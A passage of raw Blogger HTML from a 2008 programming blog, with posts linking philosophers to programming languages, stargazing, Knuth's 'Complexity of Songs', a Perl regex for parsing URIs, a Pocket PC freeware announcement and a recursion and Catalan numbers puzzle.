href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCKtnkPGxSK1PhCO0lRepKMUG9ivGEx9VS8k_oLCwZqLjAWP3t251SPiq3LC5c41sSCsom1bjFvki4HYIKdeNUaK6kFyaDONmIgreXrOaeJFdGs0J5tXyfoIkYC0dbdF0RXWItjJdTKYKa/s1600-h/kant.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 121px; height: 161px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCKtnkPGxSK1PhCO0lRepKMUG9ivGEx9VS8k_oLCwZqLjAWP3t251SPiq3LC5c41sSCsom1bjFvki4HYIKdeNUaK6kFyaDONmIgreXrOaeJFdGs0J5tXyfoIkYC0dbdF0RXWItjJdTKYKa/s320/kant.jpg" alt="" id="BLOGGER_PHOTO_ID_5325099294348914754" border="0" /></a>e 'easy' way to the pantheon of philosophy by rejecting two prevailing and opposing methodologies, Descarte's <span style="font-style: italic;">cogito</span> and the empiricism<span style="font-weight: bold;">, </span>by shouting '<span style="font-style: italic;">It's both!</span>'. Kant investigated how humans reason, claiming that experience offers the truth, but which has already been filtered by intellectual judgement (<span style="font-style: italic;">a priori)</span>. At his mature years, he examined <span style="font-style: italic;">aesthetics</span>, and the theory trying to explaining the way we perceive <span style="font-style: italic;">beauty</span>. Kant was an extremely concise personality, being obsessed with tideness and exactness, doing the same things, exactly at the same time every day, to the extent that his acquaintances were 'using' him to calculate time!<br /><br />Similarly, <a href="http://www.python.org/">Python</a> is a programming language that tries to combin<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieYEKGEa1P_XxW243l80MD6OAqpO5ZqVkaySHueexJRDGajFGu8yhnSr2nZb_X84sDGHfytGoeqeqKKj5iMiR3EXxSrX73B4n9cSY0OzlO1slRIDhTBJ10JiLtEEs0pAlzgF7skhpDL32N/s1600-h/python-logo.png"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 134px; height: 133px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieYEKGEa1P_XxW243l80MD6OAqpO5ZqVkaySHueexJRDGajFGu8yhnSr2nZb_X84sDGHfytGoeqeqKKj5iMiR3EXxSrX73B4n9cSY0OzlO1slRIDhTBJ10JiLtEEs0pAlzgF7skhpDL32N/s320/python-logo.png" alt="" id="BLOGGER_PHOTO_ID_5325100463711439186" border="0" /></a>e different solutions and promote it as a new one. As a language it accepts multiple programming paradigms, from object-oriented to contract-based programming. Python programmers reject the free formats of languages such as Perl, and although they borrow several features from it, they emphasize on <span style="font-style: italic;">simple </span>and <span style="font-style: italic;">explicit </span>code. Python becomes so 'obsessive' that imposes <span style="font-style: italic;">w</span><span style="font-style: italic;">hitespace identation </span>as delimiters for code blocks to its users. In the "Zen of Python", the first out of the 19 <span style="font-style: italic;">commandments, </span>the first one is "<span style="font-style: italic;"><span style="font-family:monospace;">Beatiful is better than ugly</span></span><span style="font-family:monospace;">".</span> Kant's obsession to beauty and aesthetics, makes him <span style="font-weight: bold;">triumphantly</span> the first Python programmer ever.<br /><br /><br /><br /><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Ludwig_Wittgenstein">Ludwig Wittgenstein</a>: Natural Born Haskell Programmer<br /></span>Wittgenstein re<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeS6tJED7zTACSw8JwqYFYxZymSQ7SiS6GtooYRSAWvhQ8PS-zomelYZh6YiZIsoT8viFuo3aKsEJ8Nz-sdy65lPhBEZimbr4_kMFC26aoWX4nXmLIAv4ltUU7JvYel4C1Lm6QPxsKKvga/s1600-h/Witt.jpeg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 112px; height: 151px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeS6tJED7zTACSw8JwqYFYxZymSQ7SiS6GtooYRSAWvhQ8PS-zomelYZh6YiZIsoT8viFuo3aKsEJ8Nz-sdy65lPhBEZimbr4_kMFC26aoWX4nXmLIAv4ltUU7JvYel4C1Lm6QPxsKKvga/s320/Witt.jpeg" alt="" id="BLOGGER_PHOTO_ID_5325099740838540306" border="0" /></a>formed Western philosophy going as deep as to examine Socrates' 'recipe' for debate success. His monumental work, the <a href="http://books.google.com/books?id=ZAqzCgHrAJIC&dq=tractatus&printsec=frontcover&source=bl&ots=zdqRlu-Sib&sig=uaQC0TmUu5TAoK6q3qxSwhO3_Ik&hl=en&ei=7ZnmSZCsL5uQsAaRxs2iBw&sa=X&oi=book_result&ct=result&resnum=4"><span style="font-style: italic;">Tractatus Logico-Philosophicus</span></a>, can be compared to a hard graduate mathematical book in Logic. Wittgenstein identifies the semantic and symbolic forms as the root of <span style="font-style: italic;">all philosophical problems</span>, leaving the rest that can be explicitly defined as the subject of science. Using pure logic, he deducts that language inherent ambiguity is what makes philosophy repeat itself, and closing his book with the famous '<span style="font-style: italic;">What we cannot speak of, we must pass over in silence</span>', claims to have solved,..., all philosophical problems.<br /><br />Wittgenstein is a natural born Haskell programmer. Haskell was not the first function<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcdHnDI7kNE-EntEWGLFhftybpXak-zX-UPoSsFF9mUrY7u7_ulviykziMsN4Nb6xCDsbOWlY6Iy7zWAsNAKTTi340tPlFQJ8mrrjeFNNj-0-ZY_qcRHprPKBrDJQ2yJSJ2CDGLWi2JvuD/s1600-h/Haskell_Logo.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 138px; height: 131px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcdHnDI7kNE-EntEWGLFhftybpXak-zX-UPoSsFF9mUrY7u7_ulviykziMsN4Nb6xCDsbOWlY6Iy7zWAsNAKTTi340tPlFQJ8mrrjeFNNj-0-ZY_qcRHprPKBrDJQ2yJSJ2CDGLWi2JvuD/s320/Haskell_Logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5325100041367838402" border="0" /></a>al programming language in town, but from late 80's and onwards, it has prevailed as the most important among the group. Haskell is not meant to be accesible by anyone, and just like the <a href="http://en.wikipedia.org/wiki/Tractatus_Logico-Philosophicus"><span style="font-style: italic;">austere </span>and <span style="font-style: italic;">succinct Tractatus</span></a>, as Wikipedia states, it has a strict mathematical and logical form. Haskell, being purely functional, goes as deep as redefining the way we treat abstract data types, the same way Wittgenstein goes back to Socrates' dialectic to reform modern philosophy.<br /><br /><br />These all may sound weird, but for programmers, it is easy to realize these deeper connections. I am not quite sure if the same holds for philosophers. Anyway, at least by now, it should make much more sense why in every article in Wikipedia, presenting a programming language, there is special section named "<span style="font-style: italic; font-weight: bold;">Language philosophy</span>".<br /><br /><span style="font-weight: bold;"><span style="font-weight: bold;"></span><br /></span>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-37601163381520859212008-12-02T16:08:00.000-08:002008-12-02T17:30:49.583-08:00My Daily Encounter With OrionProgramming is happening mostly <span style="font-weight: bold;">at nights</span>, at least for my case, because this guarantees silence and concentration. I barely can stand 2-3 hours of constant typing (unless I am really absorbed) and so I am frequently making some quick breaks by hanging around my balcony to get some good, fresh air.<br /><br />I have the great privilege to be able to watch a big deal of the sky, since my house is not located at the center but in a quiet semi-suburban area near the sea, but never actually bothered to know more about the things I was gazing at. This is when I decided to set up<span style="font-weight: bold;"> <a href="http://www.stellarium.org/">Stellarium</a></span> on my computer.<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQU6uDp0zvgQi4TjBROTcf11ZQog7wBB1kAkSFWsazFpbOYuhmVzD0jVxWCYlYmRtCIHR6WHBgVFnY8YHhP5oWoiewPOYeqFQHgv3qyD0edob82yfPHTx3aVqNJDmjN0ej-IxDCcZ39Gzf/s1600-h/orion.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 197px; height: 273px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQU6uDp0zvgQi4TjBROTcf11ZQog7wBB1kAkSFWsazFpbOYuhmVzD0jVxWCYlYmRtCIHR6WHBgVFnY8YHhP5oWoiewPOYeqFQHgv3qyD0edob82yfPHTx3aVqNJDmjN0ej-IxDCcZ39Gzf/s320/orion.jpg" alt="" id="BLOGGER_PHOTO_ID_5275363363223645330" border="0" /></a><br /><br />The first lesson was about the <span style="font-weight: bold;">big bright triangle</span> that I was seeing more and more often lately. It's base has three stars and it turns out it is the most known constellation on Earth. It is <span style="font-weight: bold;">the Orion constellation</span> (<span style="font-style: italic;">photo)</span>. If I was less ignorant, I'd know the basics, i.e. that Orion is visible to almost <span style="font-weight: bold;">all</span> of the Earth and in Greece it moves from East to West during the winter nights.<br /><br />Wikipedia states <a href="http://en.wikipedia.org/wiki/Orion_%28constellation%29">it is the longest observable constellation</a>, since it was formed <span style="font-weight: bold;">1.5 M years ago </span>and it will last for the <span style="font-weight: bold;">next 1M-2M </span>years, thus having <span style="font-weight: bold;">a great bond</span> with human civilization. Orion is to be found on all cultures. In Ancient Greece, Orion was a Hunter who questioned Gods' power on Earth. Near Orion, on can find many other sky landmarks, such as <a href="http://en.wikipedia.org/wiki/Sirius"><span style="font-weight: bold;">Sirius on the east</span></a>, the <span style="font-weight: bold;">brightest</span> star of the sky, the <a style="font-weight: bold;" href="http://en.wikipedia.org/wiki/Taurus_%28constellation%29">Taurus</a><span style="font-weight: bold;"> on the West</span> and the <a href="http://en.wikipedia.org/wiki/Pleiades"><span style="font-weight: bold;">Pleiades</span></a>, the little 7 stars who look a little cloudy, which are next to it. Ancient imagination sometimes linked these stars together by picturing a fight of Orion with Taurus or sometimes Orion chasing the Pleiades.<br /><br />Once an overwhelming experience that excited the imagination, then a great navigation tool, the stars seem to have lost their <span style="font-weight: bold;">impact on human civilization</span> (well at least the sky stars). Astromoners have computed their behaviour to the final digit to begin with.<br /><br />However this is still a rewarding activity and altough I don't know if I ever forget anything that I have learned so far, since it is already a daily routine I will expect that at <span style="font-weight: bold;">4-5 am</span> of every winter morning, Orion will be there pointing to the North, making some good company during my quick and cold homeworking breaks.ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-35721296741523911942008-09-25T09:23:00.000-07:002008-09-25T16:44:38.350-07:00Donald Knuth And The Complexity Of Songs<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqe8lMrYyv1KTpCS0y02JONVOQCN47NaR8lT40oddl12Pc39VvYTbLcjH87unlG2FDsCyNhgOKT-XDJBzL02IZ0tJIy7jfDcioSxOArDdHqBMe3yzSsvqQ4cZja9NSsp3DiD-yKBaLeL0X/s1600-h/knuth_don.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqe8lMrYyv1KTpCS0y02JONVOQCN47NaR8lT40oddl12Pc39VvYTbLcjH87unlG2FDsCyNhgOKT-XDJBzL02IZ0tJIy7jfDcioSxOArDdHqBMe3yzSsvqQ4cZja9NSsp3DiD-yKBaLeL0X/s320/knuth_don.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5250030001082145810" /></a><a href="http://en.wikipedia.org/wiki/Donald_Knuth">Donald Knuth</a> is a living legend among computer scientists. His monumental work-of-life "<strong>The Art Of Computer Programming</strong>" (I was never able to fully follow it) is a standard reference/textbook/work of art for computer science. Mr. Knuth took a new, immature geek-only hobby and transformed it into a solid and complete scientific discipline.<p>Among his contributions, the systematic analysis of the <strong>complexity of algorithms</strong>, really stands out. As a concept complexity is very familiar to developers. It refers to how a specific algorithm or algorithmic solution to a problem scale to the 'problem size'.</p><p>If his work is a reason to <strong>admire</strong> him, his <strong>humor</strong> is a reason to love him. Recently, I had the most splendid time reading <strong>his hilarious paper</strong> titled "<a href="http://www.cs.utexas.edu/users/arvindn/misc/knuth_song_complexity.pdf">The Complexity Of Songs</a>" ! Here is the story.</p><p>A song has some lyrics which we have to remember in order to sing it. Humans are trying to learn lyrics of length <em><strong>s </strong></em>(space complexity) to sing a song of length <em><strong>n</strong></em>. You would expect mathematically that <em><strong>s ~ n</strong></em>, but Knuth investigates all human 'inventions' to reduce the song space complexity!!</p><p>After a series of 'theorems', Knuth proves the existence of songs with <em><strong>s= a.n, a<1, s="O(sqrt(n))," s="O(logn)"></em></strong>and finally.....<em><strong>s=O(1)!!</strong></em> Yes, you read well. </p><p>Knuth argues the first step was the invention of the <em>refrain</em>, the repeated part of a song. If the song has <strong>m </strong>verses of length <strong>V </strong>and the refrain has length <strong>R</strong>, then the song length is roughly <strong>n = V.m+R.m </strong>and the complexity <strong>s = m.V+R. </strong>Hence we have a reduction of <strong>V/V+R </strong>in song complexity. So, a refrain is also a tool to save some memory space to remember the song!</p><p>Remember the old song "Old Mc'Donald had a farm, Ei-gh,Ei-gh,Oh!" ? Well this has a complexity <strong>s = O(sqrt(n)). </strong>It is much like the Greek song "Οταν θα πας κυρα μου στο παζαρι...". In this pattern, each verse includes all previous verses. For <strong>m </strong>verses <strong>n = o(m^2) </strong>and <strong>s = O(m), </strong>so <strong>s = O(sqrt(n)). </strong>This means that it is much easier to remember! That's why they are most suitable for children! A same pattern can yield a <strong>log </strong>complexity.<br /></p><p>Now to the best part, <strong>Theorem 2 </strong>is the real killer! The introductory text goes as follows:"<em>However, the advent of modern drugs has led to demands for still less memory, and the ultimate improvement of Theorem 1 has consequently just been announced:</em><br /></p><p><strong>Theorem 2 (Donald Knuth)<br /><em>There exist arbitrarily long song of complexity O(1)</em><br /></strong></p><p>PROOF. Define <strong>U = 'uh huh','uh huh' </strong>and the <strong>k-th </strong>verse <strong>Vk = 'That's the way', <em>U, '</em></strong><strong>I like it', <em>U </em></strong><strong>. </strong>This is a constant <strong>V</strong><strong>. </strong>Then the song <strong>V^k, </strong>completes our proof!! Oh dear!</p><p>This last one really cracked me up!!! :)</p>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-63390928668844712732008-09-05T17:09:00.000-07:002008-09-05T17:51:54.398-07:00A One-Line Code on How To Parse a URI<span style="font-weight: bold;">Uniform Resource Identifiers(URI) </span>is perhaps synonymous to the Internet itself. As the name implies it is used to identify <span style="font-weight: bold;">something </span>on the net. Typically a URI is a different than a <span style="font-weight: bold;">URL</span>(Uniform Resource Location) but in most cases we use them interchangeably.<br /><br />Mathematically <span style="font-weight: bold;">URI=URL+URN</span>, which means an <span style="font-weight: bold;">entity </span>can be identified either by its <span style="font-weight: bold;">location</span>(URL) or its <span style="font-weight: bold;">name</span>(URN). See <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">the relevant Wikipedia page</a> for details.<br /><br />Every URI has the following syntax:<br /><div style="text-align: center;"><span style="font-style: italic; font-weight: bold;">(scheme)://(authority)(/path)?(query)#(fragment)</span><br /></div>with query and fragment being optional. So in a URI like http://www.example.com/comment?id=1#1123, we have:<br /><br />scheme="http"<br />authority="www.example.com"<br />path="/comment"<br />query="id=1"<br />fragment="1123"<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx0jFcYedBfaBB74v9MshJSwGxRUvMaov11C3-4PHMYOPMkdMcnhRJ8u1eB_Pt1qzRTGbsc6Qmzlu5KO4WXjP2Us9XpLLsLnJ94F_BOHKHQZF1nmrZKAB1HiU0JsDPbjHlCec0r9OEopJE/s1600-h/Tim_Berners-Lee.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 195px; height: 195px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx0jFcYedBfaBB74v9MshJSwGxRUvMaov11C3-4PHMYOPMkdMcnhRJ8u1eB_Pt1qzRTGbsc6Qmzlu5KO4WXjP2Us9XpLLsLnJ94F_BOHKHQZF1nmrZKAB1HiU0JsDPbjHlCec0r9OEopJE/s320/Tim_Berners-Lee.jpg" alt="" id="BLOGGER_PHOTO_ID_5242702502356980322" border="0" /></a><br />A very <span style="font-weight: bold;">common task </span>is when we have to parse a URI into its components. The most usual case is <span style="font-weight: bold;">URL normalization, </span>which is essential for <span style="font-weight: bold;">search crawlers.</span> During this process, a URI is trinsformed into an equivalent <span style="font-weight: bold;">canonical form</span>, such that 2 different canonical forms <span style="font-weight: bold;">cannot refer </span>to the same resource. For example the URL <span style="font-style: italic;">http://www.example.com</span> and the URL http://www.example.com:80 , are different but refer to the same location on the net. This greatly helps spiders retrieving every time pages they have not visited before. You can find a <a href="http://dblab.ssu.ac.kr/publication/LeKi05a.pdf">good article about URL normalization here</a>.<br /><br />To parse a URI using a regular expression is really easy. In fact the method to do this is given by <span style="font-weight: bold;">Tim Berner's Lee</span> (<span style="font-style: italic;">photo</span>) himself in the <a href="http://gbiv.com/protocols/uri/rev-2002/rfc2396bis.html"><span style="font-weight: bold;">RFC for the URI standard</span></a>. Using Perl, if <span style="font-style: italic;">$uri </span>has the URI then by applying<br /><div style="text-align: center;"><span style="font-style: italic;font-size:100%;" ><span style="font-weight: bold;">$uri =~ /^(([^:\/\?#]+):)?(\/\/([^\/\?#]*))?([^\?#]*)(\?([^#]*))?(#(.*))?/;</span></span><br /><span style="font-style: italic;"><span style="font-weight: bold;"></span></span></div><span style="font-style: italic;"><span style="font-weight: bold;"><span style="font-style: italic;"><span style="font-weight: bold;"><br /></span></span></span><span style="font-style: italic;"></span></span>Then:<br />scheme=<span style="font-weight: bold;">$2</span><br />authority=<span style="font-weight: bold;">$4</span><br />path=<span style="font-weight: bold;">$5</span><br />query=<span style="font-weight: bold;">$7</span><br />fragment=<span style="font-weight: bold;">$9<br /><br /></span>That's it! All languages (C#, Java etc) has an almost identical syntax and it is straightforward to port it there given that <span style="font-weight: bold;">$n </span>refers to the <span style="font-weight: bold;">n</span>-th group.ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-45095754749931675392008-07-15T06:12:00.001-07:002008-12-09T07:11:58.596-08:00Wi-Not Mobile: A Different Pocket PC Freeware Application<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6ocl3dwbGCxQuRIJbNbi4R1UwM-iR4KIW0RswFi1pyAiWDq-pryU31H7bN0Nxd7ycQiwMecrHBMsVaV6t_4dsiXCs3g9rrpFSqHj3PAt4mgOWg7B2du9LJtTbWbOxAwlnF-2DjLyEM_7Q/s1600-h/wi-not1.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 117px; height: 117px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6ocl3dwbGCxQuRIJbNbi4R1UwM-iR4KIW0RswFi1pyAiWDq-pryU31H7bN0Nxd7ycQiwMecrHBMsVaV6t_4dsiXCs3g9rrpFSqHj3PAt4mgOWg7B2du9LJtTbWbOxAwlnF-2DjLyEM_7Q/s320/wi-not1.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318574267684242" border="0" /></a><br /><span style="font-style: italic;">[This article discusses a new freeware application for Windows Mobile devices, in the creation of which I feel excited to have participated. It is called <span style="font-weight: bold;">Wi-Not Mobile </span>and can be found in <a href="http://www.wi-not.com/">this site</a>]<br /><br /></span>You may have noticed for some time the link on the right. It points to a new mobile platform we built, a limited number of <span style="font-weight: bold;">talented</span> professionals and me. Starting with silly little ideas, it quickly grew to integrate some research results of our personal projects. The result was <span style="font-weight: bold;">Wi-Not Mobile, </span>a mobile platform for information, communication and entertainment. Wi-Not Mobile is a <a href="http://www.wi-not.com/">freeware pocket pc application and you can find it here</a>. It is on air <span style="font-weight: bold;">for a week</span> now and with limited or now advertising has far exceeded <span style="font-weight: bold;">1000</span> registered users and many more downloads. Here is a small <span style="font-weight: bold;">tribute</span> to this one-year full time effort and some <span style="font-weight: bold;">technical details </span>for those who are interested.<br /><br />For a quick introduction here is a Youtube video, which tries to describe Wi-Not Mobile in <span style="font-weight: bold;">4 minutes</span>:<br /><br /><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/0jjy3M9genE&hl=en&fs=1"><param name="allowFullScreen" value="true"><embed src="http://www.youtube.com/v/0jjy3M9genE&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><br /><br />We have received so much feedback, both good and bad and I feel really intrigued in trying to understand how others view this application and we are so enthusiastic we really see criticism as an opportunity. It may sound typical but it is true. Here is my understanding.<br /><br />First of all, Wi-Not mobile is <span style="font-weight: bold;">not </span>an application. It is a <span style="font-weight: bold;">platform</span> and there is a perfect reason for that. The platform is a more general concept and solves much more difficult problems than an application. Wi-Not's platform defines a <span style="font-weight: bold;">basic API </span>which we later use to create all different functions that exist inside. Let's iterate through the various features to show how.<br /><br /><a href="http://www.wi-not.com/index.php/wimobmenuitem/mobtv">Wi-Not Mobile offers free web TV streams for your Pocket PC</a>, but also the client to <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomrGxGhEtJEh8Y_uoKTqlTX9w0vkU19eqSMqRxZMe4gGaOLlnOicbHk1jxJHRhGX7xBwvgcZfT084-x96fzklVZbVtrGvoGwbI5_jI9KYinX3kGLXuhP4YGtAZDF7PmSOICOUR-HPa4yQ/s1600-h/wi-not3.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 111px; height: 111px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomrGxGhEtJEh8Y_uoKTqlTX9w0vkU19eqSMqRxZMe4gGaOLlnOicbHk1jxJHRhGX7xBwvgcZfT084-x96fzklVZbVtrGvoGwbI5_jI9KYinX3kGLXuhP4YGtAZDF7PmSOICOUR-HPa4yQ/s320/wi-not3.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318979348355042" border="0" /></a>consume it. If we were limited to this (like tons of other popular TV playing programs) then Wi-Not would be an application. But we are not. TV streams in Wi-Not Mobile are updated automatically <span style="font-weight: bold;">whenever there </span>is an available new version of the TV channels. The same holds for the<a href="http://www.wi-not.com/index.php/wimobmenuitem/mobradio"> web radi</a><a href="http://www.wi-not.com/index.php/wimobmenuitem/mobradio">o streams found in Wi-Not Mobile</a>. This alone does make an excuse for the term 'platform' but the story is not over yet.<br /><br />The <a href="http://www.wi-not.com/index.php/wimobmenuitem/witok">Instant Messaging module of Wi-Not</a> is a clean and efficient way to exchange messages. Of course it was not built to compete with already popular mobile <a href="http://en.wikipedia.org/wiki/Instant_messaging">IM clients</a> (MSN Mobile and others). But there is something special inside that is actually a function that the underlying platform can support. It enables for <span style="font-weight: bold;">automatic translation</span>. For example, a user can define that he <span style="font-weight: bold;">writes</span> in Spanish, his friend define that he <span style="font-weight: bold;">reads </span>in Italian, and <span style="font-weight: bold;">still be able to communicate in their native languages, </span>a feature that at least for now cannot be found in any other IM mobile client.<br /><br />Moving on to <span style="font-weight: bold;">entertainment</span> portion, we arrive to what we tenderly call "<span style="font-weight: bold;">Wi-Lol</span>". There is another trick here. What it can do? You simply type the game you want to play, and the<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhih1gcV_kDmNsySnDhSxiNFcEbbba35F4GsJvJSRNnjtgJczGO0XxqFYPtWpY29DMT1jgmQZ30GSOvHQi6usD8gQIpqCbulcJCWPdULewqPrubVxPxeTc2OQpEp7PVmtwZUK2Y-OWRbCcM/s1600-h/wi-not2.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 99px; height: 99px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhih1gcV_kDmNsySnDhSxiNFcEbbba35F4GsJvJSRNnjtgJczGO0XxqFYPtWpY29DMT1jgmQZ30GSOvHQi6usD8gQIpqCbulcJCWPdULewqPrubVxPxeTc2OQpEp7PVmtwZUK2Y-OWRbCcM/s320/wi-not2.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318346713987426" border="0" /></a> module (using the platform's middeware) will locate <a href="http://www.wi-not.com/index.php/wimobmenuitem/wilol">free and available flash games to play in yo</a><a href="http://www.wi-not.com/index.php/wimobmenuitem/wilol">ur mobile</a>. The difference with other similar functions is that we <span style="font-weight: bold;">do not store a single byte </span>of game content. So how is it done? The platform defines a search API, which can have many "<span style="font-weight: bold;">flavors</span>" (<span style="font-style: italic;"><a href="http://en.wikipedia.org/wiki/Inheritance_%28computer_science%29">inheritance</a></span><span style="font-style: italic;"> </span>in programming words), and these can be a <span style="font-weight: bold;">web search, gam</span><span style="font-weight: bold;">e search, </span>or a <span style="font-weight: bold;">music search. </span>Each of these kinds share some common properties (<span style="font-style: italic;">bas</span><span style="font-style: italic;">e class)</span> but in the meantime have many differences. The game search module of the Wi-Not locates flash files and reports back available links. With the <span style="font-weight: bold;">embedded </span>flash player it is possible to play it on the fly!<br /><br />There is also a great option for getting <a href="http://www.wi-not.com/index.php/wimobmenuitem/wibot">music on your pocket pc</a>. We have put there a special media finder, which can accept keywords for your search and locate audio files. This is entirely new for a mobile application. Again, we do not store a single byte of audio content. With a hit rate of around 90% you will able to get the mp3 file you were looking for. Again the platform here plays the most <span style="font-weight: bold;">crucial</span> role. It is able to maintain places that are more probable to provide with an answer and also to dynamically find more.<br /><br />I could really talk for hours about this stuff but I am sure it will bore most of the people. There are certainly many more posts coming about this effort. We are really excited about the outcome and ready to do more. There are also many hard lessons from releasing into public your creations and perhaps I should talk about it later.<br /><br />Till then you are more than welcome to <a href="http://www.wi-not.com/index.php/downloadsmenuitem"><span style="font-weight: bold;">download Wi-Not Mobile </span>from here</a> and I would be grateful if you could provide with your thoughts about it. Have fun!ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-78626766966549080362008-06-02T12:41:00.000-07:002008-12-09T07:12:00.433-08:00Catalan Numbers, Dyck Words and Robots Climbing StairsRepeating is the <span style="font-weight: bold;">very nature</span> of recursion, so this article continues over from the <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://developeronline.blogspot.com/2008/05/stack-wars.html">p<img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTTuKNR5DGvE4XbgoxjPVgr-g3InMTV2uuDs_BiHtwPKi72DwtFyZKGcORfcyyqXEleLE9zba9muLqyGGzlGIDdVYZvCJOD_qiVhZ16SM1C9y5uokdKGPEKmEXTIymTgIKgWMkRry8hi-m/s320/asimo_robot.jpg" alt="" id="BLOGGER_PHOTO_ID_5207399150927002626" border="0" /></a><a href="http://developeronline.blogspot.com/2008/05/stack-wars.html">revious post over recursion and stack usage</a>. If you don't remember the initial problem here it is again:<br /><br />"<span style="font-style: italic;">Imagine a robot(say Asimo) that climbs up stairs and has one very simple function <span style="font-weight: bold;">step() </span>w</span><span style="font-style: italic;">hich succeeds with a probability <span style="font-weight: bold;">p </span>and climbs </span><span style="font-style: italic;">up one stair, and fails with a probability <span style="font-weight: bold;">q </span>and climbs down one stair, with <span style="font-weight: bold;">p>q </span>and <span style="font-weight: bold;">p+q=1</span>. Write a function <span style="font-weight: bold;">step_up() </span>guaranteeing that the robot will climb up <span style="font-weight: bold;">exactly one </span>stair."</span><br /><br />It is easy to create a quick and dirty recursive solution:<br /><br /><span style="font-family:verdana;"><span style="font-size:85%;">void step_up() {<br /><br />if(!step())<br />{</span></span><br /><span style="font-family:verdana;"><span style="font-size:85%;"> step_up();<br /> step_up();</span></span><br /><span style="font-family:verdana;"><span style="font-size:85%;">}</span></span><br /><br /><span style="font-family:verdana;"><span style="font-size:85%;">}<br /><br /></span></span> While this solution is <span style="font-weight: bold;">not the best</span> (a better one is provided also in the previous post with the<span style="font-style: italic;"> while </span>version), it is most interesting to <span style="font-weight: bold;">calculate </span>the <span style="font-weight: bold;">number of times </span>that step_up() will be called, in other words to calculate <span style="font-weight: bold;">how large the stack size will be.</span><br /><br />There were two solutions available: To calculate it analytically or use a recursive technique to do it. With the recursive technique we can set: If <span style="font-weight: bold;">X </span>is the number of <span style="font-weight: bold;">average calls </span>to step_up() then <span style="font-weight: bold;">X = p.1+q.(1+2.X) </span>which yields <span style="font-weight: bold;">X = 1 / (p-q) </span>. Both easy and really smart!<br /><br />However, going analytically is much more difficult but it is <span style="font-weight: bold;">most amusing</span>! As I said in the previous post, going the analytical way would mean trouble. Trying it myself I left it <span style="font-weight: bold;">unfinished</span> when facing a difficult combinatorics sub-problem. By a really weird coincidence, today I stumbled upon a number of interesting combinatorics tools which could help solve it analytically once and for all!. Here is how it goes.<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGesxcBy4M3604r1Zc2F28ujF4EdUM6RwljbnHkFu7pT87pYhLhvIW64FiHs4AKEYKAOUdSp4zrIovSl6Jl4OvLOROsU05T18n5n1bt4PpSHAd90jCJ-IA2NkO0EBkBynVSSvWnrWAI0hX/s1600-h/180px-RecursiveTree.JPG"><img style="margin: 